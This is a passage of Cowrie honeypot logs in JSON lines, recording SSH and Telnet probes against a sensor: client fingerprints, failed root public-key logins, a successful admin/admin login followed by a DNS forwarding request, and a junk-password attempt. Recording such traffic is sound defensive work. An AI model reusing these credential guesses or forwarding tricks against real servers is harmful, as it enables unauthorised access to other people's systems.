ha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.763267Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:7c:4a:24:d9:3c:54:ed:74:02:e4:60:26:86:cd:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8XmFgj5miolnnTcosBlyTkeyKlog8l1CmhAxeOle+MZuNWi/i4eU9qrfIUxGxehMS0ePw0nffj4ve3MySrnn4G73yWHET4s5WpB+Do+SAfqKZzGr2/dDBIXlDoE3ivWsv+afceOeed3qeecJpM1bjhBi8GwWhRQ4Bix5DKwo6VM/aGDn7iqE1fwkyg9a5Swy77Ca7fVP/8LS8/zzIPVURxSSD3L1uiGwEmAWjqVQo3eR5vMtAOoxrqBoJpqoPKjYVU7z/GI3aghxMDwEWpd2jDpadGuqAV7LFRU1fI9U76dMq+jHCdz+GgRVR7/rAnvPMVLtxp17FAYpsNYjTet11","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:7c:4a:24:d9:3c:54:ed:74:02:e4:60:26:86:cd:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.875973Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:7c:4a:24:d9:3c:54:ed:74:02:e4:60:26:86:cd:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8XmFgj5miolnnTcosBlyTkeyKlog8l1CmhAxeOle+MZuNWi/i4eU9qrfIUxGxehMS0ePw0nffj4ve3MySrnn4G73yWHET4s5WpB+Do+SAfqKZzGr2/dDBIXlDoE3ivWsv+afceOeed3qeecJpM1bjhBi8GwWhRQ4Bix5DKwo6VM/aGDn7iqE1fwkyg9a5Swy77Ca7fVP/8LS8/zzIPVURxSSD3L1uiGwEmAWjqVQo3eR5vMtAOoxrqBoJpqoPKjYVU7z/GI3aghxMDwEWpd2jDpadGuqAV7LFRU1fI9U76dMq+jHCdz+GgRVR7/rAnvPMVLtxp17FAYpsNYjTet11","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.879831Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:df:4a:bd:e0:20:27:24:e9:23:5b:2a:64:19:6d:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAHvm47g3RHVMQHjmViimpytMJm6BdPAtdYG1/eP0YbtguuUCmP2Gh50137LCI2FWeP+vgHyrL17SU8vIWLdjqNGPRG+zk+4+ONkQje9+faqs8ROcm7GXz4CUdiMzz2BcjQf39OROt+M9rO0PVGFa7XnXksbK3YC2wI25E6g7nUIiGtNhABbdrzMYZqN7WMokCpf8TZAMU7z8aSjfndejz/5hi5ygyzHxPDVO40BglgeFFqZ3edOKRpB5SBq9N8cHQPFDbIgDJS9S3Xd3WU6+5/bgmCz80nDB1uLqkIrWxC3WfIDJMF9MPG43891co649H1witL/LiiEqaHmWJPOecIxMCw6N4QWFfBvynwgYKWdUIDsvMjiIMS5qrtM7IUO9RK6bk3weu/StyQKXqNb5l/Zwrekw/iVdkGE5mzKL3wcbQIgoBuuWK1dmaqtqcVm7EpGlS4GESpCgklnzdDJQ5zgnsxp20QbMlKJHLI3HDOeSKPD7gORh7kbzTWcyNDBp5WX8+ySl1KINM4uGowlAR1HDOQxlmnTfYZ7iMfE/arJPkYqC3I6ehlzXvXfRIudUrwnc2WhJVcys9H7pHtcCvBhjpYyuCxqgrDjDVtHQy/H6h2UeC31j3uzREtTegCw1bTaA+teiaIhyyAE9DWsvFR6Sev2irKb/jWSfwy0b/DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:df:4a:bd:e0:20:27:24:e9:23:5b:2a:64:19:6d:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.907778Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:df:4a:bd:e0:20:27:24:e9:23:5b:2a:64:19:6d:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAHvm47g3RHVMQHjmViimpytMJm6BdPAtdYG1/eP0YbtguuUCmP2Gh50137LCI2FWeP+vgHyrL17SU8vIWLdjqNGPRG+zk+4+ONkQje9+faqs8ROcm7GXz4CUdiMzz2BcjQf39OROt+M9rO0PVGFa7XnXksbK3YC2wI25E6g7nUIiGtNhABbdrzMYZqN7WMokCpf8TZAMU7z8aSjfndejz/5hi5ygyzHxPDVO40BglgeFFqZ3edOKRpB5SBq9N8cHQPFDbIgDJS9S3Xd3WU6+5/bgmCz80nDB1uLqkIrWxC3WfIDJMF9MPG43891co649H1witL/LiiEqaHmWJPOecIxMCw6N4QWFfBvynwgYKWdUIDsvMjiIMS5qrtM7IUO9RK6bk3weu/StyQKXqNb5l/Zwrekw/iVdkGE5mzKL3wcbQIgoBuuWK1dmaqtqcVm7EpGlS4GESpCgklnzdDJQ5zgnsxp20QbMlKJHLI3HDOeSKPD7gORh7kbzTWcyNDBp5WX8+ySl1KINM4uGowlAR1HDOQxlmnTfYZ7iMfE/arJPkYqC3I6ehlzXvXfRIudUrwnc2WhJVcys9H7pHtcCvBhjpYyuCxqgrDjDVtHQy/H6h2UeC31j3uzREtTegCw1bTaA+teiaIhyyAE9DWsvFR6Sev2irKb/jWSfwy0b/DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.911049Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:f3:b3:dc:73:65:9f:17:e6:0f:ae:e6:8a:92:4a:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7u4YsH7ZuH0oog2RhbOxs/B4ZzWA8QDRczR0eycJ5OixMYTfilRcr+Tnh6lPUeXdjg6HOTZCI0COnlY4QYXlob8dfiOK/+8BX9Gvw/ctH8mn0046zbHRuVDHWERJc81S4SdT18W3CTKIeAfpCwxEBp7H700WuIZNBaxnRDRGD59y7bckbL0QrAFZNS5VwdV6IQ9YL3VKUD/AX8ia5ASBy0nGpo6r/SRRPiwYKMTjcLC/nKXjvNuqmPYGJf4+u4NELi7FEi+d3s3Yx+yoAm4LaAZDX+SpwrEsJ8sHGQ8NR6rxfJ+3FxuplX9ars1AONoyNI8bBmyTBRNoeTAlsbNmURTnjCTmJRIy5otf4HF3kqXvCnZ2OxlR+8rFEv73Zw5aciM0z3CeBkJoFKtI6CQeR3gfl0TgA4cGXbIj8WVPVw+TR0GxdPMzEmaZn4CvYyjZ1kwidmWqRO2ATpAHjTa/vCzw0efOHv51WlsBDX5bgts0UZP9HU75kJFwJoM+IADfgDGa3zggWD/jpMptRfvRyfUbvQgjcnJey2A8vX7jqbQ4zKwOiyLS0PpZ9eE3eP10qS6Xy76//1Y3dPwqa/VQaOvLbQuBU6YrPuIKsnhZIcV43+ced2X5OrATXFeQIK9rPPHZkNJPE2dicGQxToJ1nqMt0Z+5b8D3v17vzfG2k0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:f3:b3:dc:73:65:9f:17:e6:0f:ae:e6:8a:92:4a:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.937962Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:f3:b3:dc:73:65:9f:17:e6:0f:ae:e6:8a:92:4a:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7u4YsH7ZuH0oog2RhbOxs/B4ZzWA8QDRczR0eycJ5OixMYTfilRcr+Tnh6lPUeXdjg6HOTZCI0COnlY4QYXlob8dfiOK/+8BX9Gvw/ctH8mn0046zbHRuVDHWERJc81S4SdT18W3CTKIeAfpCwxEBp7H700WuIZNBaxnRDRGD59y7bckbL0QrAFZNS5VwdV6IQ9YL3VKUD/AX8ia5ASBy0nGpo6r/SRRPiwYKMTjcLC/nKXjvNuqmPYGJf4+u4NELi7FEi+d3s3Yx+yoAm4LaAZDX+SpwrEsJ8sHGQ8NR6rxfJ+3FxuplX9ars1AONoyNI8bBmyTBRNoeTAlsbNmURTnjCTmJRIy5otf4HF3kqXvCnZ2OxlR+8rFEv73Zw5aciM0z3CeBkJoFKtI6CQeR3gfl0TgA4cGXbIj8WVPVw+TR0GxdPMzEmaZn4CvYyjZ1kwidmWqRO2ATpAHjTa/vCzw0efOHv51WlsBDX5bgts0UZP9HU75kJFwJoM+IADfgDGa3zggWD/jpMptRfvRyfUbvQgjcnJey2A8vX7jqbQ4zKwOiyLS0PpZ9eE3eP10qS6Xy76//1Y3dPwqa/VQaOvLbQuBU6YrPuIKsnhZIcV43+ced2X5OrATXFeQIK9rPPHZkNJPE2dicGQxToJ1nqMt0Z+5b8D3v17vzfG2k0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.942019Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:12:2c:55:e2:15:d2:ec:36:59:98:3a:3c:54:4c:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiL0V5WIavzLtdiXK6YUiVjn37p006WtJ7SpI9kkxfHS1tYDGcpvjKUeTSEDorn9RBvhwA/zLc2XbYrGvF4tcY4UQTBDiOUXmWJbo4rnwc77BNOa4skT9M/TkVjZnpeKe3P44Wi5sdQjO/Ol6WJQJPIC5G9ztNzD0teYtiTzrLu+t7XqNAlITi8gksPSulVg/Sk6EAX93y94nhSqN5NLBNCQcWSQlrekWgvqt0MiBgg+TrtkhYrygHqTiVx2+iIB68xUH7b7oAMcVVIIA0PEv70jdfi3ZOSCQ20Cn64ZLb1YZB3Ts96Fr2MXJ/WgCUUoITjvJnnxRj3k0LUVCTDsJR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:12:2c:55:e2:15:d2:ec:36:59:98:3a:3c:54:4c:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.970443Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:12:2c:55:e2:15:d2:ec:36:59:98:3a:3c:54:4c:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiL0V5WIavzLtdiXK6YUiVjn37p006WtJ7SpI9kkxfHS1tYDGcpvjKUeTSEDorn9RBvhwA/zLc2XbYrGvF4tcY4UQTBDiOUXmWJbo4rnwc77BNOa4skT9M/TkVjZnpeKe3P44Wi5sdQjO/Ol6WJQJPIC5G9ztNzD0teYtiTzrLu+t7XqNAlITi8gksPSulVg/Sk6EAX93y94nhSqN5NLBNCQcWSQlrekWgvqt0MiBgg+TrtkhYrygHqTiVx2+iIB68xUH7b7oAMcVVIIA0PEv70jdfi3ZOSCQ20Cn64ZLb1YZB3Ts96Fr2MXJ/WgCUUoITjvJnnxRj3k0LUVCTDsJR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:47.974111Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:c3:00:51:87:b2:ef:f6:06:4c:38:f4:a4:f4:10:4a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPgqfzV5LY/JoCRJJ/XnilN/BefpgCf0lZODv1DbeXjDJraqX6ivoFqYGcnbQCjPzzeelEwFyz4z2oU8iLkGPskSHuHFeaBVLJhV6vAOX35T1d42bnSPNVNnenyr2AAO9Pp3GVgkV6g7GNOvNEPQbUqMZc9dFLXS1i10Gv8LyvX3AAAAFQDizNIeQymZCHj5+5Yj+3ZB76+DswAAAIEAz+Xo2tKBBHmu6KrL07qrdwma4YDTxMDXo/NPrDIGiTLltaPt/+9spHfalrGFrXe9tpDkd1e7MF4o+gvLrr2k2KiJS3cRUpsOy/gBcLF6A+t49UVryaAyh35yYnek5GIjCUnNrDOPVXEvGQxa1pR1uPkzA9Kn60npQyJZaS6ChCoAAACAXi9f3nsKNWBDZIcGNNm+BgW2sDecOmQ+a0W1SJ8+PD4Cp1ebawdurFCShWWyui0X/2HMf4r/54TiRTjPecXCtGdeT1ncp4oSJt/GXe11HwUbpfvhZ7z3umpb3gQuX4AIcP5qdW3Fj+AGylQzNuK3Pj4TcVYoBnbFbpVwHvM4NC4=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 4a:c3:00:51:87:b2:ef:f6:06:4c:38:f4:a4:f4:10:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:48.002784Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:c3:00:51:87:b2:ef:f6:06:4c:38:f4:a4:f4:10:4a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPgqfzV5LY/JoCRJJ/XnilN/BefpgCf0lZODv1DbeXjDJraqX6ivoFqYGcnbQCjPzzeelEwFyz4z2oU8iLkGPskSHuHFeaBVLJhV6vAOX35T1d42bnSPNVNnenyr2AAO9Pp3GVgkV6g7GNOvNEPQbUqMZc9dFLXS1i10Gv8LyvX3AAAAFQDizNIeQymZCHj5+5Yj+3ZB76+DswAAAIEAz+Xo2tKBBHmu6KrL07qrdwma4YDTxMDXo/NPrDIGiTLltaPt/+9spHfalrGFrXe9tpDkd1e7MF4o+gvLrr2k2KiJS3cRUpsOy/gBcLF6A+t49UVryaAyh35yYnek5GIjCUnNrDOPVXEvGQxa1pR1uPkzA9Kn60npQyJZaS6ChCoAAACAXi9f3nsKNWBDZIcGNNm+BgW2sDecOmQ+a0W1SJ8+PD4Cp1ebawdurFCShWWyui0X/2HMf4r/54TiRTjPecXCtGdeT1ncp4oSJt/GXe11HwUbpfvhZ7z3umpb3gQuX4AIcP5qdW3Fj+AGylQzNuK3Pj4TcVYoBnbFbpVwHvM4NC4=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:48.006905Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:36:48.035915Z","src_ip":"198.46.134.148","session":"45f8255cc7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.03173208236694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:37:48.765895Z","src_ip":"149.86.143.242","session":"6327cc45aef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0076801776886,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:37:55.669837Z","src_ip":"149.86.143.242","session":"3f7fd1c9b17f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36426,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c2630fdb94c","protocol":"ssh","message":"New connection: 87.251.64.176:36426 (10.17.0.5:22) [session: 1c2630fdb94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:37:59.163713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:37:59.167954Z","src_ip":"87.251.64.176","session":"1c2630fdb94c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:37:59.266355Z","src_ip":"87.251.64.176","session":"1c2630fdb94c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:37:59.556585Z","src_ip":"87.251.64.176","session":"1c2630fdb94c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:37:59.655967Z","session":"1c2630fdb94c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:37:59.753858Z","src_ip":"87.251.64.176","session":"1c2630fdb94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:37:59.852447Z","src_ip":"87.251.64.176","session":"1c2630fdb94c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00135374069214,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:00.634241Z","src_ip":"149.86.143.242","session":"1c9345988a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2000,"dst_ip":"10.17.0.5","dst_port":23,"session":"040ce9f06ab8","protocol":"telnet","message":"New connection: 149.86.143.242:2000 (10.17.0.5:23) [session: 040ce9f06ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:02.122931Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2236,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9ef1425bc5c","protocol":"telnet","message":"New connection: 149.86.143.242:2236 (10.17.0.5:23) [session: a9ef1425bc5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:03.340038Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.221.88","src_port":41846,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f114e7471a1","protocol":"ssh","message":"New connection: 104.238.221.88:41846 (10.17.0.5:22) [session: 2f114e7471a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:11.709798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:11.715177Z","src_ip":"104.238.221.88","session":"2f114e7471a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:11.791157Z","src_ip":"104.238.221.88","session":"2f114e7471a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:12.018100Z","src_ip":"104.238.221.88","session":"2f114e7471a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:13.096837Z","src_ip":"104.238.221.88","session":"2f114e7471a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":33884,"dst_ip":"159.203.135.109","dst_port":22,"session":"920fd0e4cf6d","protocol":"ssh","message":"New connection: 124.155.125.131:33884 (159.203.135.109:22) [session: 920fd0e4cf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:14.620260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:38:14.626594Z","src_ip":"124.155.125.131","session":"920fd0e4cf6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@o